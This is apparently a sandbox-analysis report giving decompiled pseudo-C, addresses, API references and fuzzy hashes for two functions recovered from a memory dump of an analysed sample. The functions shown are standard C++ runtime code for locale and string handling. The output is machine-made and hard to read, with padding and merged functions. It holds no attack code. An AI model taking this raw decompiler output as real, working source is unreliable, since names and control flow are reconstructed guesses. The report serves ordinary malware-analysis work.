
C-Code - Quality: 62%

			E0040B420(signed int* __ecx, void* __edx) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				char _v32;
				char _v33;
				signed int* _v36;
				signed int _v40;
				signed int* _v44;
				void* _v56;
				signed int _v60;
				void* _v68;
				void* _v77;
				void* _v84;
				signed int _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t47;
				signed int _t48;
				signed int _t52;
				void* _t57;
				signed int _t60;
				void* _t64;
				void* _t69;
				signed int _t74;
				signed int _t75;
				signed int* _t77;
				signed int _t78;
				signed int* _t79;
				void* _t80;
				signed int _t84;
				void* _t97;
				signed int _t99;
				signed int* _t100;
				void* _t101;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				void* _t111;
				void* _t112;
				signed int _t114;
				void* _t117;

				_t97 = __edx;
				_push(0xffffffff);
				_push(0x432135);
				_push( *[fs:0x0]);
				_t112 = _t111 - 0x1c;
				_t47 =  *0x443048; // 0x7239e5fc
				_t48 = _t47 ^ _t109;
				_v20 = _t48;
				_push(_t48);
				 *[fs:0x0] =  &_v16;
				_v44 = __ecx;
				_t77 =  &(__ecx[2]);
				_v36 = _t77;
				E0041247D( &_v32, 0);
				_v8 = 0;
				_t52 =  *0x444f58; // 0x0
				_t99 =  *0x444fd4; // 0x0
				_v24 = _t52;
				_v40 = _t52;
				if(_t99 == 0) {
					E0041247D( &_v28, _t99);
					_t117 =  *0x444fd4 - _t99; // 0x0
					if(_t117 == 0) {
						_t74 =  *0x444310; // 0x2
						_t75 = _t74 + 1;
						 *0x444310 = _t75;
						 *0x444fd4 = _t75;
					}
					E004124D5( &_v28);
					_t99 =  *0x444fd4; // 0x0
				}
				_t84 = _t77[1];
				_t78 = _t99 * 4;
				if(_t99 >=  *((intOrPtr*)(_t84 + 0xc))) {
					_t105 = 0;
					__eflags = 0;
					goto L9;
				} else {
					_t105 =  *(_t78 +  *((intOrPtr*)(_t84 + 8)));
					if(_t105 == 0) {
						L9:
						__eflags =  *((char*)(_t84 + 0x14));
						if( *((char*)(_t84 + 0x14)) == 0) {
							L12:
							__eflags = _t105;
							if(_t105 != 0) {
								goto L6;
							} else {
								goto L13;
							}
						} else {
							_t69 = E0041265A();
							__eflags = _t99 -  *((intOrPtr*)(_t69 + 0xc));
							if(_t99 >=  *((intOrPtr*)(_t69 + 0xc))) {
								L13:
								_t105 = _v24;
								_t100 = _v36;
								__eflags = _t105;
								if(_t105 != 0) {
									goto L7;
								} else {
									_push(_t100);
									_t57 = E0040BBE0(_t78, _t97, _t100,  &_v40);
									_t114 = _t112 + 8;
									__eflags = _t57 - 0xffffffff;
									if(__eflags == 0) {
										E00403390();
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t109);
										_t110 = _t114;
										_push(0xfffffffe);
										_push(0x441408);
										_push(E004148C0);
										_push( *[fs:0x0]);
										_push(_t78);
										_push(_t105);
										_push(_t100);
										_t60 =  *0x443048; // 0x7239e5fc
										 *(_t110 - 8) =  *(_t110 - 8) ^ _t60;
										_push(_t60 ^ _t110);
										 *[fs:0x0] = _t110 - 0x10;
										_t102 = _t84;
										 *(_t110 - 0x24) = _t84;
										_t107 = 0;
										__eflags = 0;
										_v88 = 0;
										 *((char*)(_t110 - 0x19)) = 0;
										_v60 = 0;
										while(1) {
											__eflags = _t107 - 1;
											if(_t107 >= 1) {
												break;
											}
											E0040BE80(_t107 * 0x2c + _t102);
											_t107 = _t107 + 1;
											_v40 = _t107;
										}
										_v33 = 1;
										_v12 = 0xfffffffe;
										_t64 = E0040B5F2(1, _t102, _t107);
										 *[fs:0x0] = _v24;
										return _t64;
									} else {
										_t105 = _v40;
										_v24 = _t105;
										_v8 = 1;
										E0041262E(__eflags, _t105);
										_t112 = _t114 + 4;
										 *((intOrPtr*)( *_t105 + 4))();
										 *0x444f58 = _t105;
										goto L7;
									}
								}
							} else {
								_t105 =  *(_t78 +  *((intOrPtr*)(_t69 + 8)));
								goto L12;
							}
						}
					} else {
						L6:
						_t100 = _v36;
						L7:
						_v8 = 0xffffffff;
						E004124D5( &_v32);
						_t79 = _v44;
						 *_t79 = _t105;
						_t79[1] = E00408230(_t79, _t100);
						 *[fs:0x0] = _v16;
						_pop(_t101);
						_pop(_t106);
						_pop(_t80);
						return E0041361E(_t54, _t80, _v20 ^ _t109, _t97, _t101, _t106);
					}
				}
			}

0x0040b420
0x0040b423
0x0040b425
0x0040b430
0x0040b431
0x0040b434
0x0040b439
0x0040b43b
0x0040b441
0x0040b445
0x0040b44d
0x0040b450
0x0040b458
0x0040b45b
0x0040b460
0x0040b467
0x0040b46c
0x0040b472
0x0040b475
0x0040b47a
0x0040b480
0x0040b485
0x0040b48b
0x0040b48d
0x0040b492
0x0040b493
0x0040b498
0x0040b498
0x0040b4a0
0x0040b4a5
0x0040b4a5
0x0040b4ab
0x0040b4ae
0x0040b4b8
0x0040b503
0x0040b503
0x00000000
0x0040b4ba
0x0040b4bd
0x0040b4c2
0x0040b505
0x0040b505
0x0040b509
0x0040b51b
0x0040b51b
0x0040b51d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b50b
0x0040b50b
0x0040b510
0x0040b513
0x0040b51f
0x0040b51f
0x0040b522
0x0040b525
0x0040b527
0x00000000
0x0040b529
0x0040b52c
0x0040b52e
0x0040b533
0x0040b536
0x0040b539
0x0040b560
0x0040b565
0x0040b566
0x0040b567
0x0040b568
0x0040b569
0x0040b56a
0x0040b56b
0x0040b56c
0x0040b56d
0x0040b56e
0x0040b56f
0x0040b570
0x0040b571
0x0040b573
0x0040b575
0x0040b57a
0x0040b585
0x0040b589
0x0040b58a
0x0040b58b
0x0040b58c
0x0040b591
0x0040b596
0x0040b59a
0x0040b5a0
0x0040b5a2
0x0040b5a5
0x0040b5a5
0x0040b5a7
0x0040b5aa
0x0040b5ae
0x0040b5b1
0x0040b5b1
0x0040b5b4
0x00000000
0x00000000
0x0040b5bb
0x0040b5c0
0x0040b5c1
0x0040b5c1
0x0040b5c8
0x0040b5cb
0x0040b5d2
0x0040b5da
0x0040b5e8
0x0040b53b
0x0040b53b
0x0040b53e
0x0040b542
0x0040b546
0x0040b54d
0x0040b552
0x0040b555
0x00000000
0x0040b555
0x0040b539
0x0040b515
0x0040b518
0x00000000
0x0040b518
0x0040b513
0x0040b4c4
0x0040b4c4
0x0040b4c4
0x0040b4c7
0x0040b4ca
0x0040b4d1
0x0040b4d6
0x0040b4da
0x0040b4e4
0x0040b4ea
0x0040b4f2
0x0040b4f3
0x0040b4f4
0x0040b502
0x0040b502
0x0040b4c2

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040B45B
std::_Lockit::_Lockit.LIBCPMT ref: 0040B480
std::_Lockit::~_Lockit.LIBCPMT ref: 0040B4A0
std::_Lockit::~_Lockit.LIBCPMT ref: 0040B4D1
std::_Facet_Register.LIBCPMT ref: 0040B546
Concurrency::cancel_current_task.LIBCPMT ref: 0040B560

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 2f7d90d21418b20c93bf01a52f06efe2ca2bff106cf229284d8034bb01d851a6
Instruction ID: 1b4fa618c6b9974cefa89f8aee00e08efa53829ab8ceb4a341dcdc8ee2c60516
Opcode Fuzzy Hash: 2f7d90d21418b20c93bf01a52f06efe2ca2bff106cf229284d8034bb01d851a6
Instruction Fuzzy Hash: 8D41CE75D002189FCB11DF94D981B9EB7B0EB49724F14056AE815B7382DB38AE05CBE8

Uniqueness

Uniqueness Score: -1.00%

Function 004088A0 Relevance: 9.1, APIs: 6, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E004088A0(void* __ebx, void* __edi, void* __esi, signed int _a4, char _a8) {
				char _v0;
				intOrPtr _v4;
				char _v8;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v56;
				signed int _v68;
				signed int _v80;
				signed int _v92;
				signed int _v112;
				signed int _v124;
				signed int _v148;
				signed int _t154;
				signed int _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				intOrPtr _t164;
				signed int _t191;
				unsigned int _t193;
				void* _t194;
				signed int _t209;
				signed int _t211;
				signed int _t213;
				unsigned int _t215;
				void* _t216;
				intOrPtr _t219;
				signed int _t232;
				signed int _t234;
				signed int _t236;
				unsigned int _t238;
				void* _t239;
				signed int _t248;
				signed int _t250;
				void* _t254;
				signed int _t258;
				void* _t259;
				signed int* _t260;
				signed int* _t261;
				signed int _t269;
				intOrPtr _t275;
				signed int* _t276;
				void* _t280;
				signed int _t284;
				void* _t286;
				void* _t293;
				void* _t296;
				intOrPtr _t299;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				intOrPtr _t306;
				signed int _t308;
				signed int _t309;
				signed int _t311;
				void* _t312;
				signed int _t314;
				signed int _t326;
				signed int _t327;
				void* _t328;
				signed int _t329;
				signed int _t331;
				signed int _t332;
				intOrPtr _t333;
				void* _t335;
				signed int _t336;
				signed int _t339;
				signed int _t340;
				signed int _t342;
				signed int _t345;
				signed int _t346;
				signed int _t348;
				signed int _t351;
				signed int _t353;
				signed int _t357;
				void* _t359;
				void* _t361;
				void* _t362;
				signed int _t371;
				void* _t372;
				void* _t374;
				void* _t375;
				signed int _t376;

				_t357 = _t371;
				_push(0xffffffff);
				_push(0x431c55);
				_push( *[fs:0x0]);
				_t372 = _t371 - 0x14;
				_t154 =  *0x443048; // 0x7239e5fc
				_t155 = _t154 ^ _t357;
				_v20 = _t155;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t155);
				 *[fs:0x0] =  &_v16;
				_t326 = _a4;
				_t268 =  &_v32;
				_v28 = _t326;
				_t157 = E0041247D( &_v32, 0);
				_v8 = 0;
				_t311 =  *0x444fd0; // 0x0
				_t258 =  *0x444f40; // 0x0
				_v36 = _t258;
				if(_t311 == 0) {
					__ecx =  &_v24;
					__eax = E0041247D( &_v24, __edi);
					__eflags =  *0x444fd0 - __edi; // 0x0
					if(__eflags == 0) {
						__eax =  *0x444310; // 0x2
						__eax = __eax + 1;
						__eflags = __eax;
						 *0x444310 = __eax;
						 *0x444fd0 = __eax;
					}
					__ecx =  &_v24;
					__eax = E004124D5(__ecx);
					__edi =  *0x444fd0; // 0x0
				}
				_t298 =  *(_t326 + 4);
				_t269 = _t311 * 4;
				_v24 = _t269;
				__eflags = _t311 -  *((intOrPtr*)(_t298 + 0xc));
				if(_t311 >=  *((intOrPtr*)(_t298 + 0xc))) {
					_t327 = 0;
					__eflags = 0;
					_v24 = _t269;
					goto L17;
				} else {
					_t327 =  *(_t269 +  *((intOrPtr*)(_t298 + 8)));
					__eflags = _t327;
					if(_t327 != 0) {
						L25:
						E004124D5( &_v32);
						 *[fs:0x0] = _v16;
						_pop(_t312);
						_pop(_t328);
						_pop(_t259);
						__eflags = _v20 ^ _t357;
						return E0041361E(_t327, _t259, _v20 ^ _t357, _t298, _t312, _t328);
					} else {
						L17:
						__eflags =  *((char*)(_t298 + 0x14));
						if( *((char*)(_t298 + 0x14)) == 0) {
							L20:
							__eflags = _t327;
							if(_t327 != 0) {
								goto L25;
							} else {
								goto L21;
							}
						} else {
							_t254 = E0041265A();
							__eflags = _t311 -  *((intOrPtr*)(_t254 + 0xc));
							if(_t311 >=  *((intOrPtr*)(_t254 + 0xc))) {
								L21:
								__eflags = _t258;
								if(_t258 == 0) {
									_t162 = E00408E80(_t258, _t311, _t327,  &_v36, _v28);
									_t374 = _t372 + 8;
									__eflags = _t162 - 0xffffffff;
									if(__eflags == 0) {
										_t163 = E00403390();
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t357);
										_t359 = _t374;
										_push(_t327);
										_push(_t311);
										_t311 = _t298;
										_t329 = _t269;
										__eflags = _t329 - _t311;
										if(_t329 == _t311) {
											L35:
											return _t163;
										} else {
											do {
												_t275 =  *((intOrPtr*)(_t329 + 0x14));
												__eflags = _t275 - 0x10;
												if(_t275 < 0x10) {
													goto L34;
												} else {
													_t164 =  *_t329;
													_t276 = _t275 + 1;
													__eflags = _t276 - 0x1000;
													if(_t276 < 0x1000) {
														L33:
														_push(_t276);
														_t163 = E004138AD(_t164);
														_t374 = _t374 + 8;
														goto L34;
													} else {
														_t299 =  *((intOrPtr*)(_t164 - 4));
														_t276 =  &(_t276[8]);
														__eflags = _t164 - _t299 + 0xfffffffc - 0x1f;
														if(_t164 - _t299 + 0xfffffffc > 0x1f) {
															E0041805F(_t258, _t276, _t299);
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															_push(_t359);
															_t361 = _t374;
															_t375 = _t374 - 0xc;
															_push(_t258);
															_t260 = _t276;
															_t277 = 0x7fffffff;
															_push(_t329);
															_t331 = _v56;
															_t300 = _t260[4];
															_v68 = _t300;
															_push(_t311);
															__eflags = 0x7fffffff - _t300 - _t331;
															if(0x7fffffff - _t300 < _t331) {
																E00401BD0(_t260, 0x7fffffff, _t300);
																goto L58;
															} else {
																_t311 = _t260[5];
																_t236 = _t300 + _t331;
																_v24 = _t236;
																_t351 = _t236 | 0x0000000f;
																_v20 = _t311;
																__eflags = _t351 - 0x7fffffff;
																if(_t351 <= 0x7fffffff) {
																	_t238 = _t311 >> 1;
																	_t277 = 0x7fffffff - _t238;
																	__eflags = _t311 - _t277;
																	if(_t311 <= _t277) {
																		_t239 = _t238 + _t311;
																		__eflags = _t351 - _t239;
																		_t331 =  <  ? _t239 : _t351;
																		_t60 = _t331 + 1; // 0x80000000
																		_t277 = _t60;
																		__eflags = _t277 - 0x1000;
																		if(_t277 < 0x1000) {
																			__eflags = _t277;
																			if(__eflags == 0) {
																				_t311 = 0;
																				__eflags = 0;
																			} else {
																				_t248 = E0041362C(_t260, _t311, _t331, __eflags, _t277);
																				_t300 = _v16;
																				_t375 = _t375 + 4;
																				_t311 = _t248;
																			}
																			goto L51;
																		} else {
																			_t61 = _t277 + 0x23; // 0x80000023
																			_t249 = _t61;
																			__eflags = _t61 - _t277;
																			if(__eflags <= 0) {
																				L58:
																				E00401B30();
																				goto L59;
																			} else {
																				goto L41;
																			}
																		}
																	} else {
																		_t331 = 0x7fffffff;
																		goto L40;
																	}
																} else {
																	_t331 = 0x7fffffff;
																	L40:
																	_t249 = 0xffffffff80000023;
																	__eflags = 0x80000000;
																	L41:
																	_t250 = E0041362C(_t260, _t311, _t331, __eflags, _t249);
																	_t375 = _t375 + 4;
																	__eflags = _t250;
																	if(_t250 == 0) {
																		L59:
																		E0041805F(_t260, _t277, _t300);
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		_push(_t361);
																		_t362 = _t375;
																		_t376 = _t375 - 0x14;
																		_push(_t260);
																		_t261 = _t277;
																		_t278 = 0x7fffffff;
																		_push(_t331);
																		_t332 = _v80;
																		_t301 = _t261[4];
																		_v92 = _t301;
																		_push(_t311);
																		__eflags = 0x7fffffff - _t301 - _t332;
																		if(0x7fffffff - _t301 < _t332) {
																			E00401BD0(_t261, 0x7fffffff, _t301);
																			goto L81;
																		} else {
																			_t311 = _t261[5];
																			_t213 = _t301 + _t332;
																			_v24 = _t213;
																			_t345 = _t213 | 0x0000000f;
																			_v28 = _t311;
																			__eflags = _t345 - 0x7fffffff;
																			if(_t345 <= 0x7fffffff) {
																				_t215 = _t311 >> 1;
																				_t278 = 0x7fffffff - _t215;
																				__eflags = _t311 - _t278;
																				if(_t311 <= _t278) {
																					_t216 = _t215 + _t311;
																					__eflags = _t345 - _t216;
																					_t332 =  <  ? _t216 : _t345;
																					_t90 = _t332 + 1; // 0x80000000
																					_t278 = _t90;
																					__eflags = _t278 - 0x1000;
																					if(_t278 < 0x1000) {
																						__eflags = _t278;
																						if(__eflags == 0) {
																							_t311 = 0;
																							__eflags = 0;
																						} else {
																							_t232 = E0041362C(_t261, _t311, _t332, __eflags, _t278);
																							_t301 = _v20;
																							_t376 = _t376 + 4;
																							_t311 = _t232;
																						}
																						goto L74;
																					} else {
																						_t91 = _t278 + 0x23; // 0x80000023
																						_t233 = _t91;
																						__eflags = _t91 - _t278;
																						if(__eflags <= 0) {
																							L81:
																							E00401B30();
																							goto L82;
																						} else {
																							goto L64;
																						}
																					}
																				} else {
																					_t332 = 0x7fffffff;
																					goto L63;
																				}
																			} else {
																				_t332 = 0x7fffffff;
																				L63:
																				_t233 = 0xffffffff80000023;
																				__eflags = 0x80000000;
																				L64:
																				_t234 = E0041362C(_t261, _t311, _t332, __eflags, _t233);
																				_t376 = _t376 + 4;
																				__eflags = _t234;
																				if(_t234 == 0) {
																					L82:
																					E0041805F(_t261, _t278, _t301);
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					_push(_t362);
																					_t357 = _t376;
																					_t372 = _t376 - 0x10;
																					_push(_t261);
																					_t258 = _t278;
																					_t279 = 0x7fffffff;
																					_push(_t332);
																					_t326 = _v112;
																					_t302 =  *((intOrPtr*)(_t258 + 0x10));
																					_v124 = _t302;
																					_push(_t311);
																					__eflags = 0x7fffffff - _t302 - _t326;
																					if(0x7fffffff - _t302 < _t326) {
																						E00401BD0(_t258, 0x7fffffff, _t302);
																						goto L104;
																					} else {
																						_t311 =  *(_t258 + 0x14);
																						_t191 = _t302 + _t326;
																						_v28 = _t191;
																						_t339 = _t191 | 0x0000000f;
																						_v32 = _t311;
																						__eflags = _t339 - 0x7fffffff;
																						if(_t339 <= 0x7fffffff) {
																							_t193 = _t311 >> 1;
																							_t279 = 0x7fffffff - _t193;
																							__eflags = _t311 - _t279;
																							if(_t311 <= _t279) {
																								_t194 = _t193 + _t311;
																								__eflags = _t339 - _t194;
																								_t326 =  <  ? _t194 : _t339;
																								_t130 = _t326 + 1; // 0x80000000
																								_t279 = _t130;
																								__eflags = _t279 - 0x1000;
																								if(_t279 < 0x1000) {
																									__eflags = _t279;
																									if(__eflags == 0) {
																										_t311 = 0;
																										__eflags = 0;
																									} else {
																										_t209 = E0041362C(_t258, _t311, _t326, __eflags, _t279);
																										_t302 = _v24;
																										_t372 = _t372 + 4;
																										_t311 = _t209;
																									}
																									goto L97;
																								} else {
																									_t131 = _t279 + 0x23; // 0x80000023
																									_t210 = _t131;
																									__eflags = _t131 - _t279;
																									if(__eflags <= 0) {
																										L104:
																										E00401B30();
																										goto L105;
																									} else {
																										goto L87;
																									}
																								}
																							} else {
																								_t326 = 0x7fffffff;
																								goto L86;
																							}
																						} else {
																							_t326 = 0x7fffffff;
																							L86:
																							_t210 = 0xffffffff80000023;
																							__eflags = 0x80000000;
																							L87:
																							_t211 = E0041362C(_t258, _t311, _t326, __eflags, _t210);
																							_t372 = _t372 + 4;
																							__eflags = _t211;
																							if(_t211 == 0) {
																								L105:
																								_t157 = E0041805F(_t258, _t279, _t302);
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								_t268 =  *_t279;
																								__eflags = _t268;
																								if(_t268 != 0) {
																									_push(_t311);
																									_t314 = _t268;
																									_t280 =  *_t314;
																									if(_t280 == 0) {
																										L6:
																										return _t157;
																									} else {
																										_push(_t326);
																										_push(_t280);
																										L27();
																										_t333 =  *_t314;
																										_t284 = (0x2aaaaaab * ( *((intOrPtr*)(_t314 + 8)) - _t333) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * ( *((intOrPtr*)(_t314 + 8)) - _t333) >> 0x20 >> 2) + ((0x2aaaaaab * ( *((intOrPtr*)(_t314 + 8)) - _t333) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * ( *((intOrPtr*)(_t314 + 8)) - _t333) >> 0x20 >> 2)) * 2 << 3;
																										if(_t284 < 0x1000) {
																											L5:
																											_push(_t284);
																											_t157 = E004138AD(_t333);
																											 *_t314 = 0;
																											 *((intOrPtr*)(_t314 + 4)) = 0;
																											 *((intOrPtr*)(_t314 + 8)) = 0;
																											goto L6;
																										} else {
																											_t306 =  *((intOrPtr*)(_t333 - 4));
																											_t284 = _t284 + 0x23;
																											_t335 = _t333 - _t306;
																											if(_t335 - 4 > 0x1f) {
																												E0041805F(_t258, _t284, _t306);
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												_push(_t357);
																												__eflags = _v148 & 0x00000001;
																												_push(_t335);
																												_t336 = _t284;
																												 *_t336 = 0x4337e4;
																												if((_v148 & 0x00000001) != 0) {
																													_push(8);
																													E004138AD(_t336);
																												}
																												return _t336;
																											} else {
																												_t333 = _t306;
																												goto L5;
																											}
																										}
																									}
																								} else {
																									return _t157;
																								}
																							} else {
																								_t302 = _v24;
																								_t128 = _t211 + 0x23; // 0x23
																								_t311 = _t128 & 0xffffffe0;
																								 *(_t311 - 4) = _t211;
																								L97:
																								 *((intOrPtr*)(_t258 + 0x10)) = _v28;
																								_v24 = _v0;
																								 *(_t258 + 0x14) = _t326;
																								_t340 = _t311 + _t302;
																								_v36 = _t340;
																								__eflags = _v32 - 0x10;
																								_v28 = _v4 + _t340;
																								_push(_t302);
																								if(_v32 < 0x10) {
																									_push(_t258);
																									_push(_t311);
																									E00414BF0();
																									E00415180(_t311, _t340, _v24, _v4);
																									 *_v28 = 0;
																									 *_t258 = _t311;
																									return _t258;
																								} else {
																									_t342 =  *_t258;
																									_push(_t342);
																									_push(_t311);
																									E00414BF0();
																									E00415180(_t311, _v36, _v24, _v4);
																									_t372 = _t372 + 0x18;
																									_t286 = _v32 + 1;
																									 *_v28 = 0;
																									__eflags = _t286 - 0x1000;
																									if(_t286 < 0x1000) {
																										L101:
																										_push(_t286);
																										E004138AD(_t342);
																										 *_t258 = _t311;
																										return _t258;
																									} else {
																										_t302 =  *((intOrPtr*)(_t342 - 4));
																										_t279 = _t286 + 0x23;
																										_t326 = _t342 - _t302;
																										_t149 = _t326 - 4; // 0x7ffffffb
																										__eflags = _t149 - 0x1f;
																										if(_t149 > 0x1f) {
																											goto L105;
																										} else {
																											_t342 = _t302;
																											goto L101;
																										}
																									}
																								}
																							}
																						}
																					}
																				} else {
																					_t301 = _v20;
																					_t88 = _t234 + 0x23; // 0x23
																					_t311 = _t88 & 0xffffffe0;
																					 *(_t311 - 4) = _t234;
																					L74:
																					_t261[4] = _v24;
																					_v20 = _a8;
																					_t219 = _v0;
																					_t261[5] = _t332;
																					_push(_t219);
																					_v32 = _t301 - _t219 + 1;
																					_t346 = _t311 + _t219;
																					_v36 = _t346;
																					__eflags = _v28 - 0x10;
																					_v24 = _a4 + _t346;
																					if(_v28 < 0x10) {
																						_push(_t261);
																						_push(_t311);
																						E00414BF0();
																						E00415180(_t311, _t346, _v20, _a4);
																						__eflags = _v0 + _t261;
																						E00414BF0(_v24, _v0 + _t261, _v32);
																						 *_t261 = _t311;
																						return _t261;
																					} else {
																						_t348 =  *_t261;
																						_push(_t348);
																						_push(_t311);
																						E00414BF0();
																						E00415180(_t311, _v36, _v20, _a4);
																						E00414BF0(_v24, _v0 + _t348, _v32);
																						_t376 = _t376 + 0x24;
																						_t293 = _v28 + 1;
																						__eflags = _t293 - 0x1000;
																						if(_t293 < 0x1000) {
																							L78:
																							_push(_t293);
																							E004138AD(_t348);
																							 *_t261 = _t311;
																							return _t261;
																						} else {
																							_t301 =  *(_t348 - 4);
																							_t278 = _t293 + 0x23;
																							_t332 = _t348 - _t301;
																							_t114 = _t332 - 4; // 0x7ffffffb
																							__eflags = _t114 - 0x1f;
																							if(_t114 > 0x1f) {
																								goto L82;
																							} else {
																								_t348 = _t301;
																								goto L78;
																							}
																						}
																					}
																				}
																			}
																		}
																	} else {
																		_t300 = _v16;
																		_t58 = _t250 + 0x23; // 0x23
																		_t311 = _t58 & 0xffffffe0;
																		 *(_t311 - 4) = _t250;
																		L51:
																		__eflags = _v20 - 0x10;
																		_t260[4] = _v24;
																		_t260[5] = _t331;
																		_push(_t300);
																		if(_v20 < 0x10) {
																			_push(_t260);
																			_push(_t311);
																			E00414BF0();
																			_t308 = _v16;
																			 *((char*)(_t311 + _t308)) = _a4;
																			 *((char*)(_t311 + _t308 + 1)) = 0;
																			 *_t260 = _t311;
																			return _t260;
																		} else {
																			_t353 =  *_t260;
																			_push(_t353);
																			_push(_t311);
																			E00414BF0();
																			_t309 = _v16;
																			_t375 = _t375 + 0xc;
																			_t296 = _v20 + 1;
																			 *((char*)(_t311 + _t309)) = _a4;
																			 *((char*)(_t311 + _t309 + 1)) = 0;
																			__eflags = _t296 - 0x1000;
																			if(_t296 < 0x1000) {
																				L55:
																				_push(_t296);
																				E004138AD(_t353);
																				 *_t260 = _t311;
																				return _t260;
																			} else {
																				_t300 =  *(_t353 - 4);
																				_t277 = _t296 + 0x23;
																				_t331 = _t353 - _t300;
																				_t74 = _t331 - 4; // 0x7ffffffb
																				__eflags = _t74 - 0x1f;
																				if(_t74 > 0x1f) {
																					goto L59;
																				} else {
																					_t353 = _t300;
																					goto L55;
																				}
																			}
																		}
																	}
																}
															}
														} else {
															_t164 = _t299;
															goto L33;
														}
													}
												}
												goto L108;
												L34:
												 *((intOrPtr*)(_t329 + 0x10)) = 0;
												 *((intOrPtr*)(_t329 + 0x14)) = 0xf;
												 *_t329 = 0;
												_t329 = _t329 + 0x18;
												__eflags = _t329 - _t311;
											} while (_t329 != _t311);
											goto L35;
										}
									} else {
										_t327 = _v36;
										_v28 = _t327;
										_v8 = 1;
										E0041262E(__eflags, _t327);
										_t298 =  *_t327;
										 *((intOrPtr*)( *_t327 + 4))();
										 *0x444f40 = _t327;
										goto L25;
									}
								} else {
									_t327 = _t258;
									goto L25;
								}
							} else {
								_t327 =  *(_v24 +  *((intOrPtr*)(_t254 + 8)));
								goto L20;
							}
						}
					}
				}
				L108:
			}

0x004088a1
0x004088a3
0x004088a5
0x004088b0
0x004088b1
0x004088b4
0x004088b9
0x004088bb
0x004088be
0x004088bf
0x004088c0
0x004088c1
0x004088c5
0x004088cb
0x004088ce
0x004088d3
0x004088d6
0x004088db
0x004088e2
0x004088e8
0x004088ee
0x004088f3
0x004088f6
0x004088f9
0x004088fe
0x00408904
0x00408906
0x0040890b
0x0040890b
0x0040890c
0x00408911
0x00408911
0x00408916
0x00408919
0x0040891e
0x0040891e
0x00408924
0x00408927
0x0040892e
0x00408931
0x00408934
0x00408942
0x00408942
0x00408944
0x00000000
0x00408936
0x00408939
0x0040893c
0x0040893e
0x004089a0
0x004089a3
0x004089ad
0x004089b5
0x004089b6
0x004089b7
0x004089bb
0x004089c5
0x00408940
0x00408947
0x00408947
0x0040894b
0x00408960
0x00408960
0x00408962
0x00000000
0x00000000
0x00000000
0x00000000
0x0040894d
0x0040894d
0x00408952
0x00408955
0x00408964
0x00408964
0x00408966
0x00408973
0x00408978
0x0040897b
0x0040897e
0x004089c6
0x004089cb
0x004089cc
0x004089cd
0x004089ce
0x004089cf
0x004089d0
0x004089d1
0x004089d3
0x004089d4
0x004089d5
0x004089d7
0x004089d9
0x004089db
0x00408a27
0x00408a2a
0x004089e0
0x004089e0
0x004089e0
0x004089e3
0x004089e6
0x00000000
0x004089e8
0x004089e8
0x004089ea
0x004089eb
0x004089f1
0x00408a05
0x00408a05
0x00408a07
0x00408a0c
0x00000000
0x004089f3
0x004089f3
0x004089f6
0x004089fe
0x00408a01
0x00408a2b
0x00408a30
0x00408a31
0x00408a32
0x00408a33
0x00408a34
0x00408a35
0x00408a36
0x00408a37
0x00408a38
0x00408a39
0x00408a3a
0x00408a3b
0x00408a3c
0x00408a3d
0x00408a3e
0x00408a3f
0x00408a40
0x00408a41
0x00408a43
0x00408a46
0x00408a47
0x00408a49
0x00408a50
0x00408a51
0x00408a54
0x00408a59
0x00408a5c
0x00408a5d
0x00408a5f
0x00408b6d
0x00000000
0x00408a65
0x00408a65
0x00408a68
0x00408a6d
0x00408a70
0x00408a73
0x00408a76
0x00408a78
0x00408aa5
0x00408aa7
0x00408aa9
0x00408aab
0x00408ab4
0x00408ab6
0x00408ab8
0x00408abb
0x00408abb
0x00408abe
0x00408ac4
0x00408ad3
0x00408ad5
0x00408ae7
0x00408ae7
0x00408ad7
0x00408ad8
0x00408add
0x00408ae0
0x00408ae3
0x00408ae3
0x00000000
0x00408ac6
0x00408ac6
0x00408ac6
0x00408ac9
0x00408acb
0x00408b72
0x00408b72
0x00000000
0x00408ad1
0x00000000
0x00408ad1
0x00408acb
0x00408aad
0x00408aad
0x00000000
0x00408aad
0x00408a7a
0x00408a7a
0x00408a7c
0x00408a81
0x00408a81
0x00408a84
0x00408a85
0x00408a8a
0x00408a8d
0x00408a8f
0x00408b77
0x00408b77
0x00408b7c
0x00408b7d
0x00408b7e
0x00408b7f
0x00408b80
0x00408b81
0x00408b83
0x00408b86
0x00408b87
0x00408b89
0x00408b90
0x00408b91
0x00408b94
0x00408b99
0x00408b9c
0x00408b9d
0x00408b9f
0x00408ced
0x00000000
0x00408ba5
0x00408ba5
0x00408ba8
0x00408bad
0x00408bb0
0x00408bb3
0x00408bb6
0x00408bb8
0x00408be5
